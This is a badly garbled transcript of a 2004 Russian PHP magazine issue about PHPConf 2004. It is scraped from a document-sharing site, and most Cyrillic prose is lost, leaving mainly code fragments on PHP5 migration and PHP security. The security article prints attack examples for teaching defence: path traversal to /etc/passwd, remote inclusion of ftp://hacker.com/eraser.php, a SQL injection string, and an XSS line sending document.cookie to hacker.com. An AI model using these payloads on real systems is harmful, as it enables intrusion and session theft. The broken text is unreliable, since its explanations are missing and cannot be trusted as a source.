#7, Октябрь'2004 :: Очей очарованье

199
PHPInside.net PHPInside.net PHPInside.net электронный журнал для веб-разработчиков 7 Октябрь '04 Очей очарованье! Материалы осенней конференции PHPConf 2004 2004 специальный выпуск специальный выпуск специальный выпуск

Upload: vital-b

Post on 25-Mar-2016

237 views

Category:

Documents


9 download

DESCRIPTION

Материалы осенней конференции PHPConf 2004: Нет авралу! Плавный переход на PHP5 PHP и безопасность Платежные системы, взгляд изнутри CMF как инструмент freelance-разработки Разработка модулей (расширений) PHP на примере memcache Поиск на сайте средствами PHP, MYSQL и ispell Хостинг проектов на PHP Интеграция информационной системы на базе 1С с веб-приложениями PHP – работа с графикой

TRANSCRIPT

  • PHPInside.netPHPInside.netPHPInside.net

    -

    No 7 '04

    ! PHPConf 2004

    2004

  • PHP Inside 7

    ........................................................................................................... 12 ! PHP5..........................................................................................15PHP .................................................................................................................55 , ..............................................................................................79CMF freelance-.................................................................................... 97 () PHP MEMCACHE...........................................108 PHP, MYSQL ISPELL...................................................................118 PHP.............................................................................................................. 140 1 -................................ 159PHP ............................................................................................................... 195

    -

    , .

    , - , , , ,. , , , , , - , , .

    . , - . , ? -? ? ? , , , - ? . , .

    , PHPClub, OCI8 memcache, , PHP4, , , , - , -.

    2

    http://phpclub.ru E-Mail: [email protected] WWW: http://phpinside.net

    : [Lenka]

  • PHP Inside 7

    , , . - , - , . -.

    - . , - . PHP . . - , , . CMF, . , - , - PHP5, , , .

    , . , - - . .

    , -, . , - - , -.

    . , - , - (htpp), . , suexec - - - - .

    , , . , : , , - .

    [Young], :- PHP5,

    , , . , . , . .

    3

  • PHP Inside 7

    : . .

    , , . (). .

    :- , -

    , , - , - ... . , . .. , . - CMS . -... !

    :- , .

    . . , . -. . , Freelance- , - .

    :- , , -

    ... , , . , , -. , , . ... , PHP5 - . , - -. , - , , - , . - , , - . , ... ? -, . , - - . . ( ) . , . ... , , . -, , . , , ... -, , - . , - , .

    4

    , - . .

  • PHP Inside 7

    [Sad Spirit]:- , , , , -

    (). , , . , , . . . , . , , -, . , , .

    . . -, . , - - , -, . , - , . , - ().

    :- . , -

    , .

    :- -

    , . , - . ...

    :- , -

    CMF. , -. , - . , ... , - , , ... , , . , , .

    [ForJest], :- . , :

    , . : , . , - , , , . - , -, , - 170 . - , - , . , - PHP5 , , , . , - . , - , , , .. .

    5

    , , , .

  • PHP Inside 7

    - .. -. , , . . -. , - - , , PHP/MySQL. . .

    [Silex], :- ,

    - . , : , , , , , -. , - . , . -, , , , , - - . - CMS CMF, - , -. , .. , , PHP 1 -. , -. . (, -, ), - . - - . , ,, PHP5 - , , ., 5 . , , .

    :- , , .

    --. , -, , , . -, 1.

    [Coviex], :- , .

    , . , , , -. ... , . . - , . PHP5. , .

    6

    , : , , , , ,

  • PHP Inside 7

    . , , - . .. : !. , . - -: , -, .

    - ( , , ), - . , - . , - , . - , .

    : , - . , . , . , . , ( ) , , . - . , , . .. - , , - , - , . , . , - , , . , , .

    . . , - , -, . - ., - , -. ,, -. ( ), . . . . , , . , -, . - . - *nix , - . . - . . , -, - . 1 . , . . - . (-, -, - ). . ... , , . - , . , , - , .

    7

  • PHP Inside 7

    , - . , - -, , . -, , . . . , , , .

    . . . ( - ), . - , . . , PHPInside, PHPClub, JPGraph, -, .

    . .. , . . -. . -. , . . . - - . - - . - . , . , -, . -. . - - .

    , :- - , . ...

    , - . CFM, CMS - , , ... , , - : , ? -. -, , - . . - . . , ,- - . , . , PHP- PHP. -, , . , , php-- php-. , -, .

    :- , . -

    : , , . . - PHP5. , . . - , , , - , .

    8

    - .

    ,, : , ?

  • PHP Inside 7

    , , -. ! -, .

    , , ():

    - - - - , - - php .

    - . -. -, , . --, - , , - . , - , -, . !

    - CMF. , , , - . , . , , , .

    - , . , , . - , -, . , .

    - , , . , . - , , , , , ... , , ... , .

    - , - .

    :- , , , -

    , . . , . , - . , PHP5. , . - , .

    [kvn], :- , . -

    . . , , .

    9

    , , .

  • PHP Inside 7

    [Hem], :- , . , , -

    , , , , -.

    , , ,. . , , . . , , , .

    , -:- , . , -

    . , . . - , . , - .

    , [nw]:- . ,

    : , , ... , , , . , . , , - ( , ), - . , , , , -, , , - , . - , , , : , , , , . .. , , , - . , - . , , - ... , . - , , , , -. , , , - ... -.

    . , - , . .. , . .

    10

  • PHP Inside 7

    . , . - PHP-, , , , , , , , .

    [Werewolfy]:- , , .

    -, . - ... . -, .

    , : ,

    , , : - , . - , -- . , . . , - , . . , , , . , , - , , - .

    11

  • PHP Inside 7

    - WebProfy http://webprofy.ru

    - WebProfy . . - , - .

    - WebProfy - , , , .

    PHPClub http://phpclub.ru -, -

    5 . PHP - .

    :

    PHP - http://detail.phpclub.net/

    PHP

    PHPInside http://phpinside.net

    (PDF) , -, .

    PHP FAQ http://faq.phpclub.net/

    - PHP

    http://edocs.phpclub.net/

    , - , , - ,

    :ATLEX http://atlex.ru

    ATLEX 1996 , - ATLEX Telecom. : , ,, -.

    12

  • PHP Inside 7 :

    ATLEX - , - - . : Motorola, Avaya, Compaq, CISCO Systems,Siemens, Lucent Technologies, Hewlett-Packard, APC, 3Com , .

    , , . : , , ( - , - ), , .

    http://aist.ru -,

    1999 . , - , . , -- , , - , .

    - -, , , , - .

    - NetCat http://netcat.ru.

    Bhost.ru http://bhost.ru

    Bhost.ru -, . - , - -, , - . - 26313 . - , , - , , -.

    13

  • PHP Inside 7 :

    . , - , -. - PHP

    , - - PHP.

    INFOBOX http://infobox.ru INFOBOX 2000 .

    INFOBOX :

    , , ,

    24/7, -,

    Back-up, /.

    INFOBOX 2000 . - - . Europe Online.

    . -. - .

    - - .

    ! PHP5

    14

  • PHP Inside 7 ! PHP5

    ! PHP5

    PHP 1994. - . , bugfix- 5.0.1. PHP5 . , - PHP5 -- , C++ Java. PHP5 - .

    : ,,

    - -: , , . . , - . - . , () . - .

    , - , . - . '' , . - , . - ' , '.

    (-) (, -).

    15

    :

  • PHP Inside 7 ! PHP5

    , - . , - - -.

    PHP5/ZE2 PHP4/ZE1,

    PHP5, , , .. , , . PHP 5.0.1-dev. , .

    PHP5

    , -. PHP -, , , .

    . -- , PHP.

    , - , . , - , -.

    PHP5 , -

    . - , , , , . . , private,protected public, , .

    , var, - , .. var public. var .

    16

  • PHP Inside 7 ! PHP5

    17

    publicMyClass::printOut() privateMyClass::printOut() protectedMyClass::printOut() publicNotice: Undefined property: MyClass2::$private in filename on line 32publicMyClass::printOut() privateMyClass::printOut() protected2MyClass::printOut() publicNotice: Undefined property: MyClass2::$private in filename on line 19MyClass2::printOut()MyClass2::printOut() protected2MyClass2::printOut() public

  • PHP Inside 7 ! PHP5

    PHP5 . - private protected function. - public, function.

    , "public", "protected" "private" - .

    PHP5 . -

    . , , . . abstract class function.

    18

    Bar::aPublicMethod() .Foo::aProtectedMethod() .Foo::aPrivateMethod() .

  • PHP Inside 7 ! PHP5

    , "abstract" .

    PHP5 . -

    . . , - , . interface class. , - implements -- .

    , "interface" "implements" .

    PHP5, , -

    , . , , , - .

    19

    ImplementedClass::test() .

    interface Foo { function a (Foo $foo);}interface Bar { function b (Bar $bar);}class FooBar implements Foo, Bar { function a (Foo $foo) { // ... } function b (Bar $bar) { // ... }}$a = new FooBar ();$b = new FooBar ();$a->a ($b);$a->b ($b);

  • PHP Inside 7 ! PHP5

    , , . ,

    , .

    .

    PHP5

    . . . .

    . final, - class function.

    , "final" .

    20

  • PHP Inside 7 ! PHP5

    PHP4 -

    , : .

    , - , . , , . , - GTK- , , , , , - ..

    PHP5 clone. , PHP5 - __clone(), , - . , , . - __clone() Fatal error.

    , "clone" __clone() .

    21

    01HelloNew York

  • PHP Inside 7 ! PHP5

    PHP5, PHP4, -

    , , , .

    PHP4 , , . , , .

    PHP5 , __construct(). , PHP4, , - .

    PHP5 __construct(), - . __construct() .

    . - , .

    PHP5 , , Java: , , - __destruct(), -, , .

    22

    BaseClass BaseClass SubClass

  • PHP Inside 7 ! PHP5

    , , - .

    __destruct() - .

    PHP5 , .

    , "const" .

    , PHP4 , -

    , . PHP5 .

    23

    MyDestructableClass

    Foo::constant = constant

  • PHP Inside 7 ! PHP5

    .

    PHP4

    . PHP5 - , .. , - , -.

    .

    24

    array(3) { [0]=> string(3) "bla" [1]=> int(1) [2]=> float(3.14159265359)}

  • PHP Inside 7 ! PHP5

    PHP5 static -

    , .. . $this , .

    .

    instanceof PHP5 instanceof, -

    , - .

    , "instanceof" .

    25

    Foo::aStaticMethod()array(3) { [0]=> string(3) "bla" [1]=> int(1) [2]=> float(3.14159265359)}

    Hello World

  • PHP Inside 7 ! PHP5

    __autoload() __autoload(), ,

    , . .

    "__autoload" .

    , -

    __call(), __get() __set().

    __get() __set()

    26

    ClassName

    class Setter { public $n; public $x = array ('a' => 1, 'b' => 2, 'c' => 3); function __get ($nm) { echo " [$nm]\n"; if (isset ($this->x[$nm])) { $r = $this->x[$nm]; echo ": $r\n"; return $r; } else { echo "!\n"; } } function __set ($nm, $val) { echo " [$nm] $val\n"; if (isset ($this->x[$nm])) { $this->x[$nm] = $val; echo "!\n"; } else { echo "!\n"; } }}$foo = new Setter ();$foo->n = 1;$foo->a = 100;$foo->a++;$foo->z++;var_dump ($foo);

  • PHP Inside 7 ! PHP5

    __call()

    27

    test :array(4) { [0]=> int(1) [1]=> string(1) "2" [2]=> float(3.4) [3]=> bool(true)}array(3) { [0]=> int(1) [1]=> int(2) [2]=> int(3)}

    [a] 100! [a]: 100 [a] 101! [z]! [z] 1!object(Setter)#1 (2) { ["n"]=> int(1) ["x"]=> array(3) { ["a"]=> int(101) ["b"]=> int(2) ["c"]=> int(3) }}

  • PHP Inside 7 ! PHP5

    c : "__get", "__set" "__call" .

    -

    foreach.

    .

    , , Traversable. .. , Traversable, - foreach.

    IteratorAggregate Iterator , - PHP-. getIterator(), , Iterator, - , .

    28

  • PHP Inside 7 ! PHP5

    , .. - , - Iterator IteratorAggregate. - .

    29

    0 = 1st1 = 2nd2 = 3rd0 = 1st1 = 2nd2 = 3rd

  • PHP Inside 7 ! PHP5

    __METHOD__ __METHOD__

    , , , .

    "__METHOD__" .

    __toString() -

    . , , , echo print, .

    c "__toString" - .

    30

    ex0-20.phps (4) Foo::show ()ex0-20.phps (8) test ()

    class Foo { function __toString () { return 'What ever'; }}$o = new Foo ();echo $o, "\n"; // __toString() print $o; // __toString() echo "\n";printf ("%s\n", $o); // __toString() $str = (string) $o; // __toString() echo $str, "\n";

    What everWhat everObject id #1Object id #1

  • PHP Inside 7 ! PHP5

    $this $this -

    . .

    , , - .

    : throw/try/catch.

    PHP4 . PHP5 - , -. , "catch all", "finally".

    throw, try catch.

    , try catch, , catch. instanceof, ..

    (.. catch )

    31

    Fatal error: Cannot re-assign $this in filename on line 6

    try { // try block} catch (Exception1 $e) { // Exception1 block} catch (Exception2 $e) { // Exception2 block}

  • PHP Inside 7 ! PHP5

    try/catch . - , - . , - , - catch, - (), - .

    try/catch, .

    catch.

    -, Exception, , -- Exception. ,

    32

    throw $e;

    MyExceptionFoo: Hello

  • PHP Inside 7 ! PHP5

    , "catch all". , -.

    Exception PHP-. -. , .. , . , .. , , , , .

    33

    catch (Exception $e) { // ...}

    class Exception { function __construct (/*string*/ $message = NULL, /*int*/ $code = 0) { if (func_num_args()) { $this->message = $message; } $this->code = $code; $this->file = __FILE__; // throw $this->line = __LINE__; // throw $this->trace = debug_backtrace (); $this->string = StringFormat ($this); } protected $message = 'Unknown exception'; // protected $code = 0; // protected $file; // , protected $line; // ,

    private $trace; // private $string; // final function getMessage () { return $this->message; } final function getCode () { return $this->code; } final function getFile () { return $this->file; } final function getTrace () { return $this->trace; }

  • PHP Inside 7 ! PHP5

    , Exception, , -.

    , "catch", "throw" "try" - , , "catch", "throw" "try" .

    .

    . .. - - , .

    , DOMException,SQLLiteException, com_exception ., - Exception , , -.

    , .

    -

    , .. , . -, - PHP. , .

    34

    final function getTraceAsString () { return self::TraceFormat ($this); } function _toString () { return $this->string; } static private function StringFormat (Exception $exception) { // , php-, // . } static private function TraceFormat (Exception $exception) { // , php-, // . }}

  • PHP Inside 7 ! PHP5

    , PHP , , - PHP, . , E_NOTICE , , , , .

    , set_error_handler() "E_ALL | E_STRICT".

    , phpException php .

    . , class.phpException.php

    35

  • PHP Inside 7 ! PHP5

    , - try , - .

    .

    __autoload(), __get()/__set(), __call() -

    . - PHP4 , error_handler'. PHP5 __autoload, - . , - -, __autoload , , . , __autoload - class_exists ( - false).

    PHP5 . __get, __set __call - , . _get __set - , __set . , - , , - / !

    36

    function __autoload($className){ require PATH_EXTENSIONS.$className.'.inc';}

  • PHP Inside 7 ! PHP5

    __get -. __set : . __call, -, .

    37

    class Foo{ private $bar = array(); public $n = 'blah'; function __call($method) { print 'Method '.$method.' has been called'; } function __set($name, $value) { $this->bar[$name] = $value; } function __get($name) { return $this->bar[$name]; }}$foo = new Foo();$foo->x = 'blah2';$foo->n = 'blah3';$foo->sayCheesee();

  • PHP Inside 7 ! PHP5

    SPL: arrayAccess ..

    PHP PHP (SPL) . , , -, SimpleXML. - ArrayAccess ArrayObject, . , -, , ArrayObject - ArrayIterator, -.

    PHP5 . zend.ze1_compability_mode, PHP4. , - - . - , - , register_globals, - HTTP_*_VARS.

    , ibase iconv. . , - php_* - .

    PHP4, , PHP4, -

    PHP5. - PHP5.

    38

    function reursion($iterator){ echo('');

    for (; $iterator->valid(); $iterator->next()) { echo ''.$iteratir->current().' '.($iterator->isDir() ? 'Dir' :'File'); } echo('');}recursion(new RecursiveDirectoryIterator('/'))

  • PHP Inside 7 ! PHP5

    PHP ,

    , PHP4 PHP5 (http://www.php.net/migration5). -, PHP5.

    : http-

    .. PHP5 Windows , http- %PATH%.

    , SAPI PHP - PHP, exe-SAPI. - CGI-SAPI php.exe php-cgi.exe, CLI-SAPI - php.exe, cli. - exe-SAPI php-win.exe, CLI, .

    , httpd.conf( Apache) CGI :

    Action application/x-httpd-php "/php/php.exe"Action application/x-httpd-php "/php/php-cgi.exe" LoadModule php4_module /php/sapi/php4apache.dll LoadModule php5_module /php/php5apache.dll .

    CLI %PATH% ( ) /php/cli /php

    , , , Apache2 httpd.conf PHPINIDir, - php.ini, CLI/CGI PHP, Apache.

    , PHP4: , ..

    PHP4, - . PHP5 PHP4 :

    strrpos() strripos() , ( substr($str, 0, 1) ).

    39

  • PHP Inside 7 ! PHP5

    ( ) - E_ERROR, E_WARNING, - ( strlen() ).

    array_merge() . , E_WARNING . ( -, , - (array) .)

    , .. empty() false, true, ( , get_object_vars()).

    40

    class test { }$t = new test();// var_dump (empty ($t));if (!$t) { // ...}// var_dump (empty (get_object_vars ($t)));if (!get_object_vars ($t)) { // ...}

  • PHP Inside 7 ! PHP5

    , . , - PHP5 ( , , ).

    get_class() , , , ( strtolower(get_class ($obj))).

    ip2long() IP- false, -1, (.. -1 == true, : $res === false || $res == -1).

    41

  • PHP Inside 7 ! PHP5

    .. PHP5

    , http://www.php.net/migration5.functions, -, - - .

    : - , , , :

    , , , .

    MySQL.. MySQL ,

    , MySQL PHP5 . .

    MySQL , - PHP, :

    -.

    - -, .

    .

    - GPL, BSD/Apache.

    PHP5 . , - MySQL ( Unix-like ), , (Windows). PHP MySQLi, - MySQL 4.1 .

    , ,

    , , - , .

    42

    if (function_exists ('function_name')) { function function_name (...) { // ... }}

  • PHP Inside 7 ! PHP5

    , .. PHP5 -, PHP - php.ini -zend.ze1_compatibility_mode, On - PHP4. ,

    php_flag zend.ze1_compatibility_mode on .htaccess -

    , -.

    , , PHP5, .. ZendEngine2, - , ., PHP5 DOMXML DOM, , - DOMXML. ,.. DOMXML PHP5 PECL. , , , , , - .

    , .

    , PHP5 - E_STRICT, 2048 - E_ALL, 2047. , , - -, . , - - , , , - .

    , PHP5, .. , , , . . , - , .. , PHP5.

    E_STRICT, .. - -. , PHP4, PHP5, , PHP5.

    43

  • PHP Inside 7 ! PHP5

    , , , . , , PHP5 - (zend.ze1_compatibility_mode).

    XML - libxml2, DOMXML/Sablotron DOM/XSLT, SimpleXML

    XML ,

    . XML PHP5 . PHP4 -, . , PHP4.3, ( ) PHP5.

    , PHP5 - XML PHP4 .

    articles.xml

    XML PHP4

    PHP XML . , SAX-, , , XML- . XML domxml- PHP4. xslt Sablotron . PHP4 domxml HTML, XSLT - DTD. , .. xslt domxml , .

    , domxml DOM, W3, -. PHP4.3 -, , - .

    44

    PHP Weekly: Issue # 172 http://www.zend.com/zend/week/week172.php Tutorial: Develop rock-solid code in PHP: Part three http://www.zend.com/zend/tut/tut-hatwar3.php

  • PHP Inside 7 ! PHP5

    , SAX-, , - .

    PHP, XML, .

    XML PHP5 PHP5 , XML, -

    . XML- - libxml2 GNOME. XML-, .. - . , - XML-.

    SAX-, - PHP4, PHP5 DOM - W3C XSLT libxstl. PHP SimpleXML SOAP. , XML , - PHP XML-. , SAX, DOM SimpleXML , . XSLT SOAP, , - .

    XML- ,

    PHP. PHP5 , , . , - , .

    (, PHP4.3 PHP5, , - , . . PHP5.)

    SAXSAX Simple API for XML, -

    XML. , - XML-. - SAX PHP - . PHP5 , . expat PHP4 libxml2 PHP5.

    45

  • PHP Inside 7 ! PHP5

    , libxml2 2.6 ( ). , xml_parser_create_ns(), libxml2 2.6 .

    DOMDOM (Document Object Model )

    XML, -, W3C. PHP4 - domxml. . , - PHP4.3.

    , DOM, dom, W3C, . - DOM , JavaScript, PHP- -. -, .. .

    W3C, , domxml, -- . , - PHP4.3, - ( DOM - ). , - , .

    , , - PHP4, PHP5 DomNodeList. .. -

    $list[0]->method ('param'); item(), $list->item (0)->method ('param'); -

    , :

    1) domxml PHP5 - PECL. .

    2) - dom, domxml.

    ., , , , , (http://alexandre.alapetite.net/doc-alex/domxml-php4-php5/domxml-php4-to-php5.php.txt) - .

    46

  • PHP Inside 7 ! PHP5

    .

    XPathXPath SQL XML. C

    XPath , - .

    XPath dom , , dom, - XPath. , , Xpath.

    PHP5

    . dom. , - DomDocument, . , , - DomException NO_MODIFICATION_ALLOWED_ERR.

    47

    $dom = new DomDocument ();$dom->load ("articles.xml");

    // $titles = $dom->getElementsByTagName("title");foreach ($titles as $node) { echo $node->textContent . "\n";}

    // foreach ($dom->documentElement->childNodes as $articles) { // (nodeType == 1) "item", if ($articles->nodeType == 1 && $articles->nodeName == "item") { foreach ($articles->childNodes as $item) { // "title", if ($item->nodeType == 1 && $item->nodeName == "title"){ echo $item->textContent . "\n"; } } }}

    $dom = new DomDocument ();$dom->load ("articles.xml");$xp = new domXPath ($dom);$titles = $xp->query ("/articles/item/title");foreach ($titles as $node) { print $node->textContent . "\n";}

  • PHP Inside 7 ! PHP5

    :

    HTML PHP5 , -

    PHP4, libxml2 HTML. , - XML, HTML, - DomDocument, - DOM, XPath SimpleXML.

    , - , . ( - .) XPath, XSLT SimpleXML SAX . , HTML- , .

    HTMLDOM- HTML 4.0, , - XHTML.

    - php:

    ()

    XML- . , XML-- , - , .

    48

    class Articles extends DomDocument { function __construct () { //has to be called! parent::__construct (); } function addArticle ($title) { $item = $this->createElement ("item"); $titlespace = $this->createElement ("title"); $titletext = $this->createTextNode ($title); $titlespace->appendChild ($titletext); $item->appendChild ($titlespace); $this->documentElement->appendChild ($item); }}$dom = new Articles ();$dom->load ("articles.xml");$dom->addArticle ("XML in PHP5");echo $dom->save ("newfile.xml");

    $dom = new DomDocument ();$dom->loadHTMLFile ("http://www.php.net/");$title = $dom->getElementsByTagName ("title");echo $title->item (0)->textContent;

  • PHP Inside 7 ! PHP5

    , PHP- , .. : DTD, XML Schema RelaxNG.

    DTD , SGML, XML, , - . , XML, / .

    XML Schema , W3C. - , XML-.

    RelaxNG XML Schema, - . , .. -, XML Schema.

    Schema- XML-, RelaxNG-. -, , . Trang, - RelaxNG- XML-. , RelaxNG ( DTD) - libxml2, XML Schema .

    , .

    . PHP. -, , - PHP5.0.0.

    SimpleXMLSimpleXML

    XML PHP. SimpleXML XML- . , .

    , - .

    49

    $dom->validate ('articles.dtd');$dom->relaxNGValidate ('articles.rng');$dom->schemaValidate ('articles.xsd');

    $sxe = simplexml_load_file ("articles.xml");foreach ($sxe->item as $item) { echo $item->title . "\n";}

  • PHP Inside 7 ! PHP5

    ? , SimpleXML. ? articles.xml SimpleXML . item, $sxe->item. $item->title title. - : $item->title['id'].

    , , , - . , $item->title[0] , . , , $sxe->item->title XPath. SimpleXML , , - ZendEngine2. .

    , - , XPath, .

    , , , - XML-, XPath SimpleXML .

    SimpleXML- ,

    SimleXML-.

    DomDocument SimpleXML libxml2,

    SimpleXML DomDocument , .. . , , . :

    XSLTXSLT XML-

    XML-. XSLT- XML- , - -- PHP.

    50

    foreach ($sxe->xpath ('/articles/item/title') as $item) { echo $item . "\n"; }

    $sxe->item->title = "XML in PHP5 "; // title$sxe->item->title['id'] = 34; // title$xmlString = $sxe->asXML (); // SimpleXML- XML-echo $xmlString;

    $sxe = simplexml_import_dom ($dom);$dom = dom_import_simplexml ($sxe);

  • PHP Inside 7 ! PHP5

    PHP4 2 XSLT-: Sablotron ( xslt) libxslt ( domxml). - , .

    PHP5 libxslt. libxslt , libxml2, XML PHP5.

    Sablotron , , , -. , Sablotron, PHP5 libxslt. libxslt, - JavaScript, Sablotron. Sablotron PHP. libxslt XSLT, : .

    , , XML- DOM XSL, : XSL - XML-, DOM.

    XSLT-, W3C-- . Mozilla.

    XSLT. articles.xsl :

    PHP-

    XSLT articles.xsl DOM- load(). XsltProcessor, , titles - Titles ( setParameter ($namespaceURI, $name, $value)). transformToDoc ($inputDom), - DomDocument.

    51

  • PHP Inside 7 ! PHP5

    , .. - XSLT, - , ..transformToDoc() XML--. transformToDoc(), : transformToXML ($dom), -, transformToURI ($dom, $uri), - PHP. , XSLT indent="yes", transformToDoc(), .. DomDocument . - , .

    PHP-

    XSL PHP- XSLT. XML/XSLT, . XSLT , . , , PHP. XSLT. PHP- dateLang():

    52

    load ("articles.xsl");$inputDom = new DomDocument ();$inputDom->load ("articles.xml");

    /* */$proc = new XsltProcessor ();$xsl = $proc->importStylesheet ($xsl);$proc->setParameter (null, "titles", "Titles");

    /* xml- */$newDom = $proc->transformToDoc ($inputDom);echo $newDom->saveXML ();?>

    function dateLang () { return strftime ("%A");}// $xsl = new DomDocument ();$xsl->load ("datetime.xsl");$inputDom = new DomDocument ();$inputDom->load ("today.xml");$proc = new XsltProcessor ();$proc->registerPhpFunctions ();$xsl = $proc->importStylesheet ($xsl);// XML-$newDom = $proc->transformToDoc ($inputDom);echo $newDom->saveXML ();

  • PHP Inside 7 ! PHP5

    XSLT (datetime.xsl), :

    XML- (today.xml) - ( c articles.xml ):

    , PHP- - XML-, , . php:function(), PHP-. , php:functionString(), - , .

    , - registerPhpFunctions(), PHP- . - , , -, , PHP5.

    SQLite PHP5,

    MySQL, PHP . , . SQLite - SQL. SQLite -. , NULL. SQLite Char, Text, Float. SQLite : integer string, - - . - .

    , SQLite . . , - , SQLite : ,SQLite , - . SQLite , , - , .

    53

  • PHP Inside 7 ! PHP5

    SOAP PHP5 -

    SOAP. SOAP , W3C, -. XML, PHP 5 , . PHP5 , SOAP.$client = new SoapClient('foo.wsdl');

    $client->bar($baz);

    MySQLi MySQLi -

    , MySQL 4.1.2 - . .

    Reflection api , PHP5 -

    - reflection api - , , .

    Reflection API - , :

    , Reflection .

    Reflection::export(Reflection_Class('Foo'));

    . , Reflection API - , 'isPassedByReference' 'isPublic' .

    54

    class Reflection { } interface Reflector { } class Reflection_Exception extends Exception { } class Reflection_Function implements Reflector { } class Reflection_Parameter implements Reflector { } class Reflection_Method extends Reflection_Function { } class Reflection_Class implements Reflector { } class Reflection_Property implements Reflector { } class Reflection_Extension implements Reflector { }

  • PHP Inside 7 PHP

    PHP -

    , , .

    , , . - " ": - , , -. - - , , - - . " , ", -.

    ,

    PHP, , . - , , (-, ). , .

    URL

    , . -, , . -, GET- URL. - , , - .

    : -

    PHP-, "-" .

    55

    :

  • PHP Inside 7 PHP

    , ,:

    , . , -, , /etc/passwd URL:

    , /etc/passwd - ( - , - Unix), ,, .htaccess, - ..

    , , - . , - , : .

    : , -

    , :

    , , /etc/passwd .htaccess ( php), "". , - , , "" , " ":

    index.php, - index.php, index.php .. -. - , .

    : allow_url_fopen, , -

    pages, , - .

    56

    http://example.com/index.php?p=news.php - http://example.com/index.php?p=vote.php - ...

    http://example.com/index.php?p=../../../../etc/passwd - !

    http://example.com/index.php?p=../index - !

  • PHP Inside 7 PHP

    :

    - :

    :

    PHP include, fopen .. - , HTTP FTP. FTP- hacker.com eraser.php (, phpRemoteView, - ; . ).

    include , allow_url_fopen=off php.ini. http- ftp- fopen(), file_get_contents() .. ( -, PHP - allow_url_fopen : include .)

    , include- ,

    , ( fopen(), file_get_contents() ..). , , , ( ) .

    , URL

    , , , :

    57

    http://example.com/index.php?p=ftp://hacker.com/eraser - !

    include "ftp://hacker.com/eraser.php";

  • PHP Inside 7 PHP

    , -:

    index.php;

    break, -;

    -, .

    :

    , :

    , ", , - ", : ", , - ". , $p ".." "", "" ( , , , ).

    , (, 101.php, 314.php ..), preg_replace() @intval().

    Tainted data (Perl) Perl , -

    . "tainted data" (" ") -T .

    , -, "" (, -) "". "" "" . , "" , "".

    58

  • PHP Inside 7 PHP

    , - (, open(), system() ..) -T - "" , . , .

    "" Perl (.. "tainted") -, , . - "".

    PHP, , "tainteddata", .

    : phpRemoteView , "" -

    , "" . - - , -- - .

    - phpRemoteView, :

    ( ), " " (,, ). Google:

    , " ", ., -, .

    , , - phpRemoteView. - php-, - ( , -- , ).

    phpRemoteView, : 9 10, - ( , ).

    , -, . phpRemoteView, , URL IP- - .

    59

    http://php.spb.ru/remview/

    http://www.google.com/search?ie=UTF-8 &oe=UTF-8&q=phpRemoteView

  • PHP Inside 7 PHP

    SQL-Injection , PHP -

    , , , - , . " " - SQL injection ("SQL-"), . , - , , .

    SQL injection? , "--" - -

    , ( , , phpBB, http://phpbb.com):

    $topic_id QUERY_STRING, ? . :script.php?topic_id=1'+OR+1!='

    :

    , ! SQL injection: "-" , SQL-, .

    , :

    , addslashes(), - ' () "-" . , , phpBB, ( , )

    60

    $sql = "DELETE FROM " . TOPICS_TABLE . " WHERE topic_id = '$topic_id' OR topic_moved_id = '$topic_id'";if (! ($result = $db->sql_query($sql))){ message_die(GENERAL_ERROR, 'Error in deleting post', '', __LINE__, __FILE__, $sql);}

    DELETE FROM phpbb_topicsWHERE topic_id = '1' OR 1!=''OR topic_moved_id = '1' OR 1!=''

    $sql = "DELETE FROM " . TOPICS_TABLE . " WHERE topic_id = '" . addslashes($topic_id). "' OR topic_moved_id = '" . addslashes($topic_id). "'";if (!$db->sql_query($sql)){ message_die(GENERAL_ERROR, 'Error in deleting post', '', __LINE__, __FILE__, $sql);}

  • PHP Inside 7 PHP

    . 1.

    magic_quotes_gpc ,

    ? , . magic_quotes_gpc, - PHP , , - "" (, - ). , ( , - , "topic_id=1+OR+1" -; ). -:

    : - "cat's" . - (. . 1 ).

    , , , . ., 2 , -?.. , .

    , , , :

    61

  • PHP Inside 7 PHP

    magic_quotes_gpc. , "cat\'s", "cat's" - stripslashes(). , : stripslashes(), magic_quotes_gpc, , ...

    placeholder- ,

    , , sprintf() ( - DBI Perl). , - (placeholder-, " ", markers ""), "?".

    , , - , . C - mysql_qw(), , - :

    ( ) SQL-. , - addslashes() ( mysql_escape_string()) .

    , , , - mysql_escape_string() , -, . , .

    , SQL-- placeholder-.

    62

  • PHP Inside 7 PHP

    :

    , , placeholder, " " , UNKNOWN_PLACEHOLDER_1. - ( , - die()), - .

    mysql_qw.php - http://php.dklab.ru/lib/Database. , - 20 ( ), .. . mysql_qw() - sprintf(), - %s - ( , ). , '?' %s sprintf().

    - http://php.dklab.ru/lib/Database - "" placeholder-, , (, MySQL IN()) ='' ( UPDATE). Placeholder.php. "PHP, MySQL " http://dklab.ru/chicken/30.html.

    mysqli PHP5 mysqli,

    MySQL 4 , placeholder- (, ).

    63

  • PHP Inside 7 PHP

    :

    SID -

    (session; ) . , -, .

    .

    1. .

    2. , , - , .

    3. (SID Session IDentitier), , , ( , ).

    4. SID Cookies , - URL ( Cookies ).

    5. , , SID Cookies URL (PHP , $_SESSION). - , (, ).

    , , SID , Cookies URL , , "" .

    SID SID?

    , - , SID.

    :

    , , 01c1739de76ed46e639cd23d33698121.

    , , - . , SID, -.

    64

    $stmt = $mysqli->stmt_init();$stmt->prepare("SELECT District FROM City WHERE Name=?");$stmt->bind_param("s", $city);$stmt->execute();

    http://forum.dklab.ru/?sid=01c1739de76ed46e639cd23d33698121

  • PHP Inside 7 PHP

    HTML- SID URL, Cookies,

    . -, , :

    , ( ), -.

    , htmlspecialchars(), < >. HTML-. , - .

    , - :

    JavaScript, , Cookies . , , ( htmlspecialchars() ) "" : Cookies - , , .

    , , ( HTML-) SID.

    65

    window.open("http://hacker.com/get.php?"+document.cookie, 'new')

  • PHP Inside 7 PHP

    SID IP-

    . - " , " - . SID -: SID URL "" HTML, - .

    , .

    "" SID IP- , - , , , phpBB. , , - .

    :

    , :

    , , IP- , - . SID, : , IP-, , - .

    , .

    -- ( NAT-), IP-. ( - .) , SID .

    , , , , IP-. , , - -. ( , SID.)

    66

  • PHP Inside 7 PHP

    -, . , "-" (- ). (, ) IP-, 3 . - SID , - "" - .

    DoS-DoS- ( Denial of Service )

    , , ( -).

    , - , . "" , : (, 14:00 15:00 ) -. , "" "-" ( - IP-). DoS- - DoS.

    (time_limit, memory_limit ..) ( ) DoS- -

    , - , (, - ). PHP - , php.ini, , ini_set().

    memory_limit ( set_memory_limit()) , - . .

    max_execution_time ( set_time_limit()) ( , , , POST- -). 2-3 ( - , , ). , - .

    67

  • PHP Inside 7 PHP

